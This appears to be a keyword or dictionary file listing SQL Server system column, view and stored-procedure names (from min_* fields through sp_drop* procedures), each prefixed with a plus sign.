+message_type_xml_schema_collection_usages +metadata_offset +metadata_size +method_alias +MethodName +migrated_rows +migration_direction +migration_direction_desc +min_active_bsn +min_buffer_limit +min_clr_time +min_columnstore_segment_reads +min_columnstore_segment_skips +min_cpu_percent +min_cpu_time +min_data_id +min_deep_data +min_dop +min_duration +min_elapsed_time +min_grant_kb +min_ideal_grant_kb +minimum +minimum_value +MINIMUM_VALUE +minint +min_internal_length +min_iops_per_volume +minleaf +min_leaf_length +min_len +minlen +min_length_in_bytes +min_log_bytes_used +min_logical_io_reads +min_logical_io_writes +min_logical_reads +min_logical_writes +min_memory_percent +min_num_page_server_reads +min_num_physical_io_reads +min_num_physical_reads +minoccur +min_occurences +minor_id +minor_num +minor_version +min_page_server_io_reads +min_page_server_reads +min_percentage_resource +min_physical_io_reads +min_physical_reads +min_query_max_used_memory +min_query_wait_time_ms +min_record_size_in_bytes +min_reserved_threads +min_rowcount +min_rows +min_sizeclass +min_spills +min_tempdb_space_used +min_time +min_transaction_timestamp +min_used_grant_kb +min_used_threads +min_valid_version +min_worker_time +min_xact_begin_age +miraddr +mirror_address +mirroring_connection_timeout +mirroring_end_of_log_lsn +mirroring_failover_lsn +mirroring_guid +mirroring_partner_instance +mirroring_partner_name +mirroring_redo_queue +mirroring_redo_queue_type +mirroring_replication_lsn +mirroring_role +mirroring_role_desc +mirroring_role_sequence +mirroring_safety_level +mirroring_safety_level_desc +mirroring_safety_sequence +mirroring_state +mirroring_state_desc +mirroring_witness_name +mirroring_witness_state +mirroring_witness_state_desc +mirror_server_name +misses_count +mixed_extent_page_count +ml_map_page_id +ml_status +ml_status_desc +modate +mode +Mode +model +modification_counter +modification_time +modified +modified_count +modified_extent_page_count +modify_date +modify_time +module +module_address +module_assembly_usages +MODULE_CATALOG +module_guid +MODULE_NAME +MODULE_SCHEMA +money +months +most_recent_session_id +most_recent_sql_handle +mount_expiration_time +mount_request_time +mount_request_type +mount_request_type_desc +movement_key +movement_type +movement_type_desc +msgbody +msgbodylen +msgenc +msgid +msglangid +msgnum +msgref +msgseqnum +msgtype +msqlxact_address +MSreplication_options +ms_ticks +must_be_qualified +name +nameid +namespace +namespace_document_id +nchar +nest_aborted +nested_id +nest_level +NestLevel +net_address +net_library +net_packet_size +net_transport +network_subnet_ip +network_subnet_ipv4_mask +network_subnet_prefix_length +NewAllocUnitId +new_log_interesting +new_log_wait_time_in_ms +newrow_data +newrow_datasize +newrow_identity +nextdocid +next_fragment +next_page_file_id +next_page_page_id +next_read_ahead_lsn +next_sibling +nice_time_cs +nid +nmscope +nmspace +node_affinity +node_id +node_name +NodeName +node_state_desc +nonleaf_allocation_count +nonleaf_delete_count +nonleaf_insert_count +nonleaf_page_merge_count +nonleaf_update_count +non_sos_mem_gap_mb +nonsqlsub +non_transacted_access +non_transacted_access_desc +no_recompute +notify_level_eventlog +nsclass +nsid +nt_domain +NTDomainName +ntext +nt_user_name +nt_username +NTUserName +nullbit +null_on_null_input +null_value +null_values +numa_node +numa_node_count +number +numbered_procedure_parameters +numbered_procedures +number_of_attempts +number_of_quorum_votes +NumberReads +NumberWrites +num_capture_threads +numcol +num_databases +numeric +NUMERIC_PRECISION +NUMERIC_PRECISION_RADIX +NUMERIC_SCALE +num_hadr_threads +num_of_bytes_read +num_of_bytes_written +num_of_reads +num_of_writes +num_openxml_calls +num_parallel_redo_threads +numpart +num_pk_cols +num_reads +num_redo_threads +num_writes +nvarchar +object_address +object_id +objectid +ObjectID +object_id1 +object_id2 +ObjectID2 +object_id3 +object_id4 +object_load_time +object_name +ObjectName +object_package_guid +object_ref_count +objects +object_type +ObjectType +object_type_desc +objid +objname +objtype +occurrence +occurrence_count +occurrences +offline_age +offrow_long_term_version_record_count +offrow_regular_version_record_count +offrow_version_cleaner_end_time +offrow_version_cleaner_start_time +offset +Offset +oldest_aborted_transaction_id +oldest_active_lsn +oldest_active_transaction_id +oldrow_begin_timestamp +oldrow_identity +oldrow_key_data +oldrow_key_datasize +on_disk_size +on_fail_action +on_fail_step_id +on_failure +on_failure_desc +online_index_min_transaction_timestamp +online_index_version_store_size_kb +online_scheduler_count +online_scheduler_mask +on_success_action +on_success_step_id +opened_date +opened_file_name +openkeys +open_resultset_count +open_status +openTape +open_time +open_tran +open_transaction_count +operation +Operation +operational_state +operational_state_desc +operation_desc +operation_id +operation_name +operation_type +operator_id_emailed +operator_id_paged +op_history +optimize_for_sequential_key +optimizer_hint +optname +ord +order_by_is_descending +order_by_list_length +order_column_id +order_direction +order_position +ordinal +ordinal_in_order_by_list +ordinal_position +ORDINAL_POSITION +ordkey +ordlock +orig_db +orig_db_len_in_bytes +OrigFillFactor +original_cost +original_document_size_bytes +original_login_name +original_namespace_document_size_bytes +original_security_id +originator +originator_len_in_bytes +ORMask +os_error_mode +os_language_version +os_priority_class +OS_process_creation_date +OS_process_id +os_quantum +os_run_priority +os_thread_id +outbound_session_key_identifier +outcome +out_of_memory_count +output_file_name +output_options +outseskey +outseskeyid +outstanding_batch_count +outstanding_checkpoint_count +outstanding_read +outstanding_retired_nodes +overall_limit_kb +overall_quality +ownerid +OwnerID +OwnerName +owner_sid +ownertype +owning_principal_id +owning_principal_name +owning_principal_sid +owning_principal_sid_binary +package +package_guid +package_name +pack_errors +pack_received +pack_sent +page_allocator_address +page_class +page_compression_attempt_count +page_compression_success_count +page_consolidation_count +page_consolidation_retry_count +page_count +page_fault_count +page_file_bytes +page_file_bytes_peak +page_flag_bits +page_flag_bits_desc +page_free_space_percent +page_header_version +page_id +page_io_latch_wait_count +page_io_latch_wait_in_ms +page_latch_wait_count +page_latch_wait_in_ms +page_level +page_lock_count +page_lock_wait_count +page_lock_wait_in_ms +page_lsn +page_merge_count +page_merge_retry_count +page_resource +page_server_read_ahead_count +page_server_read_count +page_server_reads +pages_in_bytes +pages_in_use_kb +page_size_in_bytes +pages_kb +page_split_count +page_split_retry_count +page_status +pagesused +page_type +page_type_desc +page_type_flag_bits +page_type_flag_bits_desc +page_update_count +page_update_retry_count +page_verify_option +page_verify_option_desc +parallel_assist_count +parallel_worker_count +parameter_id +parameterization_failure_count +PARAMETER_MODE +PARAMETER_NAME +parameters +PARAMETERS +PARAMETER_STYLE +parameter_type_usages +parameter_xml_schema_collection_usages +param_id +param_int_value +paramorhinttext +param_str_value +param_type +parent_address +parent_class +parent_class_desc +parent_column_id +parent_connection_id +parent_covering_permission_name +parent_directory +parent_directory_exists +parent_id +parent_memory_address +parent_memory_broker_type +parent_minor_id +ParentName +parent_node_id +parent_obj +parent_object_id +parent_plan_handle +parent_requestor_id +parent_task_address +parent_type +parser_version +partid +partition_column_guid +partition_column_id +partition_column_ordinal +partition_count +partition_functions +partition_id +PartitionId +partition_number +partition_ordinal +partition_parameters +partition_range_values +partitions +partition_scheme_id +partition_schemes +partition_type +partition_type_desc +part_key_name +part_key_val +partner_sync_state +partner_sync_state_desc +password +password_hash +patched +path +path_id +path_name +path_type +path_type_desc +pcdata +pcitee +pclass +pcreserved +pcused +pdw_node_id +peak_job_memory_used_mb +peak_memory_kb +peak_process_memory_used_mb +peer_arbitration_id +peer_certificate_id +pending_buffers +pending_disk_io_count +pending_io_byte_average +pending_io_byte_count +pending_io_count +percent_complete +percent_used +perf +performance_counters_address +performed_seeding +periodic_freed_kb +periods +period_type +period_type_desc +permanent_task_affinity_mask +permission_bitmask +permission_name +Permissions +permission_set +permission_set_desc +persisted_age +persisted_sample_percent +persistence_status +persistent_only +persistent_version_store +persistent_version_store_long_term +persistent_version_store_size_kb +pfs_alloc_percent +pfs_is_allocated +pfs_page_id +pfs_status +pfs_status_desc +pgfirst +pgfirstiam +pgmodctr +pgroot +phantom_expired_removed_rows_encountered +phantom_expired_rows_removed +phantom_expiring_rows_encountered +phantom_rows_expired +phantom_rows_expired_removed +phantom_rows_expiring +phantom_rows_touched +phantom_scans_retries +phantom_scans_started +phase_number +phfgid +phrase_id +phyname +physical_database_name +physical_device_name +physical_io +physical_memory_in_use_kb +physical_memory_kb +physical_name +physical_operator_name +physical_path +physical_read_count +pid +pit_db_name +pit_key +pkey +placedid +placed_xml_component_id +placement_id +placingid +plan_flags +plan_forcing_type +plan_forcing_type_desc +plan_generation_num +plan_group_id +plan_guide_id +plan_guides +plan_handle +PlanHandle +plan_id +plan_node_id +plan_persist_context_settings +plan_persist_plan +plan_persist_query +plan_persist_query_hints +plan_persist_query_template_parameterization +plan_persist_query_text +plan_persist_runtime_stats +plan_persist_runtime_stats_interval +plan_persist_wait_stats +platform +platform_desc +pname +polaris_executed_requests_history +polaris_executed_requests_text +polaris_file_statistics +pool_id +pool_paged_bytes +pool_version +population_type +population_type_description +port +port1 +port2 +port_no +position +prec +precision +predicate +predicate_definition +predicate_type +predicate_type_desc +predicate_xml +predicted_allocations_kb +preemptive_switches_count +prefix +PrefixBytes +prepare_elapsed_time +prepare_lsn +prerelease +prev_error +previous_block_hash +previous_page_file_id +previous_page_page_id +previous_status +previous_status_description +previous_value +prev_page_file_id +prev_page_page_id +prev_row_in_chain +primary_dictionary_id +primary_recovery_health +primary_recovery_health_desc +primary_replica +primary_role_allow_connections +primary_role_allow_connections_desc +princid +principal_id +principal_name +principal_server_name +printfmt +priority +priority_id +priority_score +private_build +private_bytes +private_pages +private_pool_hits +private_pool_hit_search_length +private_pool_hits_RA +private_pool_hits_search_length_RA +private_pool_last_access_point +private_pool_last_RA_access_point +private_pool_misses +private_pool_misses_RA +private_pool_miss_search_length +private_pool_miss_search_length_RA +private_pool_pages +private_pool_size +privileged_time +PRIVILEGE_TYPE +probability_of_reuse +procedure_name +procedure_number +procedures +processadmin +process_content +process_content_desc +process_cpu_usage +processed_row_count +process_id +process_kernel_time_ms +process_memory_limit_mb +process_name +processor_group +processor_time +process_physical_affinity +process_physical_memory_low +process_user_time_ms +process_virtual_memory_low +proc_ioblocked_cnt +proc_runable_cnt +producer_id +producer_type +product +product_version +prog_id +program_name +progress +progress_category +promise_avg +promised +promise_total +properties +property +property_description +property_id +property_int_id +property_list_id +property_name +property_set_guid +property_value +protecttype +protocol +protocol_desc +protocol_type +protocol_version +provider +provider_id +providername +ProviderName +provider_string +providerstring +provider_type +provider_version +proxy_id +pruid +psrv +pstat +pub +public_key +pukey +pushdown +push_enabled +pvs_filegroup_id +pvs_off_row_page_skipped_low_water_mark +pvs_off_row_page_skipped_min_useful_xts +pvs_off_row_page_skipped_oldest_active_xdesid +pvs_off_row_page_skipped_oldest_snapshot +pvs_off_row_page_skipped_transaction_not_cleaned +pvt_key_encryption_type +pvt_key_encryption_type_desc +pvt_key_last_backup_date +pwdhash +qe_cc_address +qid +qual +quality +quantum_length_us +quantum_used +query_capture_mode +query_capture_mode_desc +query_context_settings +query_cost +query_count +query_driver_address +query_execution_timeout_sec +query_flags +query_hash +query_hint_failure_count +query_hint_id +query_hints +query_hints_flags +query_hint_text +query_id +query_info +QueryNotificationErrorsQueue +query_parameterization_type +query_parameterization_type_desc +query_param_type +query_plan +query_plan_hash +queryscan_address +query_sql_text +query_store_plan +query_store_query +query_store_query_hints +query_store_query_text +query_store_runtime_stats +query_store_runtime_stats_interval +query_store_wait_stats +query_template +query_template_flags +query_template_hash +query_template_id +query_text +query_text_id +query_time +query_timeout +querytimeout +query_wait_timeout_sec +queue_delay +queued_loads +queued_population_type +queued_population_type_description +queued_request_count +queued_requests +queue_id +queue_length +queue_max_len +queue_messages_1003150619 +queue_messages_1035150733 +queue_messages_1067150847 +queue_size +queuing_order +quorum_commit_lsn +quorum_commit_time +quorum_state +quorum_state_desc +quorum_type +quorum_type_desc +quoted_identifier +range_count +range_high_key +range_rows +range_scan_count +rank +rank_desc +rcmodified +rcrows +rcvfrag +rcvseq +reached_end +read_access +read_ahead_count +read_ahead_distance +read_ahead_done +read_ahead_target +read_bytes_total +read_command +read_count +reader_spid +read_io_completed_total +read_io_count +read_io_issued_total +read_io_queued_total +read_io_stall_queued_ms +read_io_stall_total_ms +read_io_throttled_total +read_location +read_microsec +readobj +readonlybaselsn +read_only_count +read_only_lsn +readonlylsn +readonly_reason +read_only_replica_id +read_only_routing_url +read_operation_count +reads +Reads +reads_completed +read_set_row_count +reads_merged +read_time_ms +read_version +read_write_lsn +readwritelsn +read_write_routing_url +real +reason +reason_desc +re_awcName +rebind_count +re_bitpos +re_ccName +received_time +receive_sequence +receive_sequence_frag +receives_posted +re_colattr +re_colid +re_collatid +re_computed +record +record_count +record_image_first_part +record_image_second_part +record_length_first_part_in_bytes +record_length_second_part_in_bytes +recovery_checkpoint_id +recovery_checkpoint_ts +recovery_fork_guid +recovery_health +recovery_health_desc +recovery_lsn +recovery_lsn_candidate +recovery_model +recovery_model_desc +recovery_unit_id +recovery_vlf_count +recv_bytes +recv_compressed +recv_drops +recv_errors +recv_fifo +recv_frame +recv_multicast +recv_packets +redo_queue_size +redo_rate +redo_start_fork_guid +redostartforkguid +redo_start_lsn +redostartlsn +redo_target_fork_guid +redo_target_lsn +redotargetlsn +reduce_progress +refadd +re_fAnsiTrim +refcount +ref_counter +refcounts +refdate +reference_count +referenced_assembly_id +referenced_class +referenced_class_desc +referenced_column_id +referenced_database_name +referenced_entity_name +referenced_id +referenced_major_id +referenced_minor_id +referenced_minor_name +referenced_object_id +referenced_schema_name +referenced_server_name +reference_name +referencing_class +referencing_class_desc +referencing_entity_name +referencing_id +referencing_minor_id +referencing_schema_name +REFERENTIAL_CONSTRAINTS +refkeys +refmod +re_fNullable +regenerate_date +region +region_allocation_base_address +region_allocation_protection +region_base_address +region_current_protection +region_size_in_bytes +region_state +region_type +register_date +registered_by +registered_search_properties +registered_search_property_lists +registry_key +regular_buffer_size +rejected_row_location +rejected_rows_path +reject_sample_value +reject_type +reject_value +relative_file_path +relative_path +remaining_file_name +re_maxlen +remote_data_archive_databases +remote_data_archive_tables +remote_database_id +remote_database_name +remote_hit +remote_logins +remote_machine_name +remote_name +remote_node +remote_object_name +remote_physical_seeding_id +remote_principal_id +remote_schema_name +remoteserverid +remote_service_binding_id +remote_service_bindings +remote_service_name +remote_table_name +remote_user_name +remoteusername +removal_time +removed_all_rounds_count +removed_in_all_rounds_count +removed_last_round_count +remsvc +re_numcols +re_numtextcols +re_offset +replica_id +replica_metadata_id +replica_name +replica_server_name +replinfo +re_prec +req_cryrefcnt +req_ecid +req_lifetime +req_mode +req_ownertype +req_refcnt +req_spid +req_status +req_transactionID +req_transactionUOW +request_context_address +request_count +requested_memory_kb +request_exec_context_id +request_id +RequestID +request_lifetime +request_max_cpu_time_sec +request_max_memory_grant_percent +request_max_memory_grant_percent_numeric +request_max_resource_grant_percent +request_memory_grant_timeout_sec +request_min_resource_grant_percent +request_mode +request_owner_guid +request_owner_id +request_owner_lockspace_id +request_owner_type +request_reference_count +request_request_id +request_session_id +request_state +request_status +request_time +request_type +required_cursor_options +required_memory_kb +required_synchronized_secondaries_to_commit +re_scale +re_schema_lsn_begin +re_schema_lsn_end +reserved +reserved2 +reserved3 +reserved4 +reserved_bytes +reserved_bytes_by_xdes_id +reserved_io_limited_by_volume_total +reserve_disk_space +reserved_node_bitmap +reserved_page_count +reserved_space_kb +reserved_storage_mb +reserved_worker_count +resource_address +resource_allocation_percentage +resource_associated_entity_id +resource_class +resource_database_id +resource_description +resource_governor_configuration +resource_governor_external_resource_pool_affinity +resource_governor_external_resource_pools +resource_governor_resource_pool_affinity +resource_governor_resource_pools +resource_governor_workload_groups +resource_group_id +resource_id +resource_lock_partition +resource_manager_ack_received +resource_manager_database +resource_manager_dbid +resource_manager_diag_status +resource_manager_id +resource_manager_location +resource_manager_prepare_lsn +resource_manager_server +resource_manager_state +resource_monitor_state +resource_name +resource_phase_1_time +resource_phase_2_time +resource_pool_id +resource_prepare_lsn +resource_semaphore_id +resource_subtype +resource_type +response_rows +result +result_cache_hit +result_desc +result_format +result_format_desc +resultlimit +resultobj +result_schema +result_schema_desc +retention_days +retention_period +retention_period_units +retention_period_units_desc +retired_row_count +retired_transaction_count +retries_attempted +retry_attempts +retry_count +retry_hints +retry_hints_description +retry_interval +return_code +returned_aggregate_count +returned_group_count +returned_row_count +revert_action_duration +revert_action_initiated_by +revert_action_initiated_time +revert_action_start_time +revision +rewind_count +re_xvtype +right_boundary +ring_buffer_address +ring_buffer_type +rkey +rkey1 +rkey10 +rkey11 +rkey12 +rkey13 +rkey14 +rkey15 +rkey16 +rkey2 +rkey3 +rkey4 +rkey5 +rkey6 +rkey7 +rkey8 +rkey9 +rkeydbid +rkeyid +rkeyindid +rmtloginame +rmtpassword +rmtsrvid +role +role_desc +RoleName +role_principal_id +roles +rolesequence +role_sequence_number +root +root_page +rounds_count +round_start_time +route_id +routes +ROUTINE_BODY +ROUTINE_CATALOG +ROUTINE_COLUMNS +ROUTINE_DEFINITION +ROUTINE_NAME +ROUTINES +ROUTINE_SCHEMA +ROUTINE_TYPE +routing_priority +row_address +rowcnt +row_count +row_count_in_thousands +RowCounts +row_delete_attempts +RowFlags +row_group_id +row_group_lock_count +row_group_lock_wait_count +row_group_lock_wait_in_ms +row_group_quality +row_insert_attempts +row_lock_count +row_lock_wait_count +row_lock_wait_in_ms +rowmodctr +row_overflow_fetch_in_bytes +row_overflow_fetch_in_pages +row_overflow_reserved_page_count +row_overflow_used_page_count +rows +rowset +rowset_id +rowsetid +RowsetId +rowsetid_delete +rowsetid_insert +rowsetnum +rows_examined +rows_expired +rows_expired_removed +rows_expiring +rows_first_in_bucket +rows_first_in_bucket_removed +rows_handled +rows_inserted +rows_marked_for_unlink +rows_no_sweep_needed +rows_processed +rows_rejected +rows_returned +rows_sampled +rows_touched +row_terminator +row_update_attempts +row_version +rpc +rpcout +rsc_bin +rsc_dbid +rsc_flag +rsc_indid +rsc_objid +rscolid +rsc_text +rsc_type +rsc_valblk +rsguid +rsid +rsndtime +rule_object_id +run_date +run_duration +run_id +runnable_tasks_count +run_status +run_time +runtime_stats_id +runtime_stats_interval_id +safety +safety_level +safety_level_desc +safetysequence +safety_sequence_number +sample_ms +savepoint_create +savepoint_garbage_count +savepoint_refreshes +savepoint_rollbacks +scale +scan_area +scan_area_desc +scan_count +scan_direction +scan_location +scan_phase +scan_set_count +scans_retried +scans_retries +scans_started +scan_status +scheduler_address +scheduler_count +scheduler_id +scheduler_mask +scheduler_total_count +schema_change_count +schemadate +schema_id +SCHEMA_LEVEL_ROUTINE +schema_name +SCHEMA_NAME +SCHEMA_OWNER +schemas +SCHEMATA +schema_ver +schid +scid +scope +scope_batch +SCOPE_CATALOG +scope_desc +scope_id +scopeid +SCOPE_NAME +scope_object_id +SCOPE_SCHEMA +scope_type +scopetype +scope_type_desc +scoping_xml_component_id +score +script_id +script_level +script_name +scrollable +se_bitpos +se_colid +se_collatid +se_computed +secondary_dictionary_id +secondary_lag_seconds +secondary_low_water_mark +secondary_recovery_health +secondary_recovery_health_desc +secondary_role_allow_connections +secondary_role_allow_connections_desc +secondary_type +secondary_type_desc +sectors_read +sectors_written +securable_class_desc +securable_classes +securityadmin +security_id +security_policies +security_predicate_id +security_predicates +security_timestamp +sec_version_rid +seeding_mode +seeding_mode_desc +seed_value +se_fAnsiTrim +se_fNullable +segid +segmap +segment_bytes_dispatched +segment_id +segment_read_count +segment_skip_count +seladd +selall +selective_xml_index_namespaces +selective_xml_index_paths +self_address +selmod +seltrig +se_maxlen +sendseq +send_sequence +sends_posted +sendxact +sensitivity +sensitivity_classifications +sent_time +se_nullBitInLeafRows +se_numcols +se_offset +se_prec +seq_num +SEQUENCE_CATALOG +sequence_group_id +SEQUENCE_NAME +sequence_num +sequence_number +sequences +SEQUENCES +SEQUENCE_SCHEMA +sequence_value +serde_method +serializer_kernel_time_in_ms +serializer_user_time_in_ms +se_rowsetid +server +serveradmin +server_assembly_modules +server_audits +server_audit_specification_details +server_audit_specifications +server_event_notifications +server_events +server_event_session_actions +server_event_session_events +server_event_session_fields +server_event_sessions +server_event_session_targets +server_file_audits +server_id +server_instance_name +server_len_in_bytes +server_memory_optimized_hybrid_buffer_pool_configuration +server_name +ServerName +server_permissions +server_principal_credentials +server_principal_id +server_principal_name +server_principals +server_principal_sid +server_role_members +servers +server_specification_id +server_sql_modules +server_trigger_events +server_triggers +service_account +service_broker_endpoints +service_broker_guid +ServiceBrokerQueue +service_contract_id +service_contract_message_usages +service_contract_name +service_contracts +service_contract_usages +service_id +service_message_types +service_name +servicename +service_queue_id +service_queues +service_queue_usages +services +se_scale +se_schema_lsn_begin +se_schema_lsn_end +session_context +session_context_keys +session_handle +session_id +SessionLoginName +session_phase +session_server_principal_name +session_source +session_timeout +set_date +set_options +setopts +setupadmin +severity +Severity +se_xvtype +sgam_page_id +sgam_status +sgam_status_desc +sharding_col_id +sharding_dist_type +shard_map_manager_db +shard_map_name +shared +share_delete +shared_memory_committed_kb +shared_memory_reserved_kb +shared_pool_size +share_intention +share_read +share_write +shortmonths +shutdown_time +sid +sigma_blocks_ahead +signal_time +signal_wait_time_ms +signal_worker_address +signature +similarity_index_page_count +simulated_kb +simulation_benefit +singleton_lookup_count +site +size +size_based_cleanup_mode +size_based_cleanup_mode_desc +sizeclass_count +size_in_bytes +size_on_disk_bytes +sizepg +skips_repl_constraints +sku +sleep_time +slot_count +slot_id +smalldatetime +smallint +smallmoney +snapshot_id +snapshot_isolation_state +snapshot_isolation_state_desc +snapshot_sequence_num +snapshot_time +snapshot_timestamp +snapshot_url +sni_error_address +snum +soap_endpoints +socket_count +softirq_time_cs +softnuma_configuration +softnuma_configuration_desc +sos_task_address +source +source_column +source_compute +source_createparams +source_database +source_database_id +SourceDatabaseID +source_database_name +source_dbms +source_desc +source_distribution_id +source_file +source_info +source_length_max +source_length_min +source_nullable +source_precision_max +source_precision_min +source_props +source_query_text +source_scale_max +source_scale_min +source_schema +source_schema_name +source_server +source_table +source_table_id +source_table_name +source_term +source_type +source_version +spacelimit +sp_add_agent_parameter +sp_add_agent_profile +sp_addapprole +sp_addarticle +sp_add_columnstore_column_dictionary +sp_add_data_file_recover_suspect_db +sp_adddatatype +sp_adddatatypemapping +sp_adddistpublisher +sp_adddistributiondb +sp_adddistributor +sp_adddynamicsnapshot_job +sp_addextendedproc +sp_addextendedproperty +sp_AddFunctionalUnitToComponent +sp_addlinkedserver +sp_addlinkedsrvlogin +sp_add_log_file_recover_suspect_db +sp_addlogin +sp_addlogreader_agent +sp_add_log_shipping_alert_job +sp_add_log_shipping_primary_database +sp_add_log_shipping_primary_secondary +sp_add_log_shipping_secondary_database +sp_add_log_shipping_secondary_primary +sp_addmergealternatepublisher +sp_addmergearticle +sp_addmergefilter +sp_addmergelogsettings +sp_addmergepartition +sp_addmergepublication +sp_addmergepullsubscription +sp_addmergepullsubscription_agent +sp_addmergepushsubscription_agent +sp_addmergesubscription +sp_addmessage +sp_addpublication +sp_addpublication_snapshot +sp_addpullsubscription +sp_addpullsubscription_agent +sp_addpushsubscription_agent +sp_addqreader_agent +sp_addqueued_artinfo +sp_addremotelogin +sp_addrole +sp_addrolemember +sp_addscriptexec +sp_addserver +sp_addsrvrolemember +sp_addsubscriber +sp_addsubscriber_schedule +sp_addsubscription +sp_addsynctriggers +sp_addsynctriggerscore +sp_addtabletocontents +sp_add_trusted_assembly +sp_addtype +sp_addumpdevice +sp_adduser +sp_adjustpublisheridentityrange +sp_altermessage +sp_alter_nt_job_mem_configs +sp_approlepassword +spare1 +sp_articlecolumn +sp_articlefilter +sp_article_validation +sp_articleview +sp_assemblies_rowset +sp_assemblies_rowset2 +sp_assemblies_rowset_rmt +sp_assembly_dependencies_rowset +sp_assembly_dependencies_rowset2 +sp_assembly_dependencies_rowset_rmt +spatial_indexes +spatial_index_tessellations +spatial_index_type +spatial_index_type_desc +spatial_reference_id +spatial_reference_systems +sp_attach_db +sp_attach_single_file_db +sp_attachsubscription +sp_audit_write +sp_autoindex_cancel_dta +sp_autoindex_invoke_dta +sp_autostats +sp_availability_group_command_internal +sp_bcp_dbcmptlevel +sp_begin_parallel_nested_tran +sp_bindefault +sp_bindrule +sp_bindsession +sp_browsemergesnapshotfolder +sp_browsereplcmds +sp_browsesnapshotfolder +sp_build_histogram +sp_can_tlog_be_applied +sp_catalogs +sp_catalogs_rowset +sp_catalogs_rowset2 +sp_catalogs_rowset_rmt +sp_cdc_add_job +sp_cdc_change_job +sp_cdc_cleanup_change_table +sp_cdc_dbsnapshotLSN +sp_cdc_disable_db +sp_cdc_disable_table +sp_cdc_drop_job +sp_cdc_enable_db +sp_cdc_enable_table +sp_cdc_generate_wrapper_function +sp_cdc_get_captured_columns +sp_cdc_get_ddl_history +sp_cdc_help_change_data_capture +sp_cdc_help_jobs +sp_cdc_restoredb +sp_cdc_scan +sp_cdc_start_job +sp_cdc_stop_job +sp_cdc_vupgrade +sp_cdc_vupgrade_databases +sp_certify_removable +sp_change_agent_parameter +sp_change_agent_profile +sp_changearticle +sp_changearticlecolumndatatype +sp_changedbowner +sp_changedistpublisher +sp_changedistributiondb +sp_changedistributor_password +sp_changedistributor_property +sp_changedynamicsnapshot_job +sp_changelogreader_agent +sp_change_log_shipping_primary_database +sp_change_log_shipping_secondary_database +sp_change_log_shipping_secondary_primary +sp_changemergearticle +sp_changemergefilter +sp_changemergelogsettings +sp_changemergepublication +sp_changemergepullsubscription +sp_changemergesubscription +sp_changeobjectowner +sp_changepublication +sp_changepublication_snapshot +sp_changeqreader_agent +sp_changereplicationserverpasswords +sp_change_repl_serverport +sp_changesubscriber +sp_changesubscriber_schedule +sp_changesubscription +sp_changesubscriptiondtsinfo +sp_change_subscription_properties +sp_changesubstatus +sp_change_tracking_waitforchanges +sp_change_users_login +sp_check_constbytable_rowset +sp_check_constbytable_rowset2 +sp_check_constraints_rowset +sp_check_constraints_rowset2 +sp_check_dynamic_filters +sp_check_for_sync_trigger +sp_checkinvalidivarticle +sp_check_join_filter +sp_check_log_shipping_monitor_alert +sp_checkOraclepackageversion +sp_check_publication_access +sp_check_removable +sp_check_subset_filter +sp_check_sync_trigger +sp_clean_db_file_free_space +sp_clean_db_free_space +sp_cleanmergelogfiles +sp_cleanup_all_openrowset_statistics +sp_cleanup_all_user_data_in_master +sp_cleanup_data_retention +sp_cleanupdbreplication +sp_cleanup_log_shipping_history +sp_cleanup_temporal_history +sp_cloud_update_blob_tier +sp_collect_backend_plan +sp_column_privileges +sp_column_privileges_ex +sp_column_privileges_rowset +sp_column_privileges_rowset2 +sp_column_privileges_rowset_rmt +sp_columns +sp_columns_100 +sp_columns_100_rowset +sp_columns_100_rowset2 +sp_columns_90 +sp_columns_90_rowset +sp_columns_90_rowset2 +sp_columns_90_rowset_rmt +sp_columns_ex +sp_columns_ex_100 +sp_columns_ex_90 +sp_columns_managed +sp_columns_rowset +sp_columns_rowset2 +sp_columns_rowset_rmt +sp_commit_parallel_nested_tran +sp_configure +sp_configure_automatic_tuning +sp_configure_peerconflictdetection +sp_constr_col_usage_rowset +sp_constr_col_usage_rowset2 +sp_control_dbmasterkey_password +sp_control_plan_guide +sp_copymergesnapshot +sp_copysnapshot +sp_copysubscription +sp_create_asymmetric_key_from_external_key +sp_create_format_type +sp_createmergepalrole +sp_create_openrowset_statistics +sp_createorphan +sp_create_plan_guide +sp_create_plan_guide_from_handle +sp_create_removable +sp_createstats +sp_create_streaming_job +sp_createtranpalrole +sp_cursor +sp_cursorclose +sp_cursorexecute +sp_cursorfetch +sp_cursor_list +sp_cursoropen +sp_cursoroption +sp_cursorprepare +sp_cursorprepexec +sp_cursorunprepare +sp_cycle_errorlog +sp_databases +sp_data_pool_database_query_state +sp_data_pool_table_query_state +sp_data_source_objects +sp_data_source_table_columns +sp_datatype_info +sp_datatype_info_100 +sp_datatype_info_90 +sp_dbcmptlevel +sp_db_ebcdic277_2 +sp_dbfixedrolepermission +sp_db_increased_partitions +sp_dbmmonitoraddmonitoring +sp_dbmmonitorchangealert +sp_dbmmonitorchangemonitoring +sp_dbmmonitordropalert +sp_dbmmonitordropmonitoring +sp_dbmmonitorhelpalert +sp_dbmmonitorhelpmonitoring +sp_dbmmonitorresults +sp_dbmmonitorupdate +sp_dbremove +sp_db_selective_xml_index +sp_db_vardecimal_storage_format +sp_ddopen +sp_defaultdb +sp_defaultlanguage +sp_delete_backup +sp_delete_backup_file_snapshot +sp_delete_http_namespace_reservation +sp_delete_log_shipping_alert_job +sp_delete_log_shipping_primary_database +sp_delete_log_shipping_primary_secondary +sp_delete_log_shipping_secondary_database +sp_delete_log_shipping_secondary_primary +sp_deletemergeconflictrow +sp_deletepeerrequesthistory +sp_deletetracertokenhistory +sp_denylogin +sp_depends +sp_describe_cursor +sp_describe_cursor_columns +sp_describe_cursor_tables +sp_describe_first_result_set +sp_describe_parameter_encryption +sp_describe_undeclared_parameters +sp_detach_db +sp_diagnostic_showplan_log_dbid +sp_disableagentoffload +sp_distcounters +sp_drop_agent_parameter +sp_drop_agent_profile +sp_dropanonymousagent +sp_dropanonymoussubscription +sp_dropapprole +sp_droparticle +sp_dropdatatypemapping +sp_dropdevice +sp_dropdistpublisher +sp_dropdistributiondb +sp_dropdistributor +sp_dropdynamicsnapshot_job +sp_dropextendedproc +sp_dropextendedproperty +sp_drop_format_type +sp_droplinkedsrvlogin +sp_droplogin +sp_dropmergealternatepublisher +sp_dropmergearticle +sp_dropmergefilter +sp_dropmergelogsettings +sp_dropmergepartition +sp_dropmergepublication +sp_dropmergepullsubscription +sp_dropmergesubscription +sp_dropmessage +sp_drop_openrowset_statistics +sp_droporphans +sp_droppublication +sp_droppublisher +sp_droppullsubscription +sp_dropremotelogin +sp_dropreplsymmetrickey +sp_droprole +sp_droprolemember +sp_dropserver +sp_dropsrvrolemember +sp_drop_streaming_job +sp_dropsubscriber +sp_dropsubscription +sp_drop_trusted_assembly +sp_droptype +sp_dropuser +sp_dsninfo +special_build +special_term 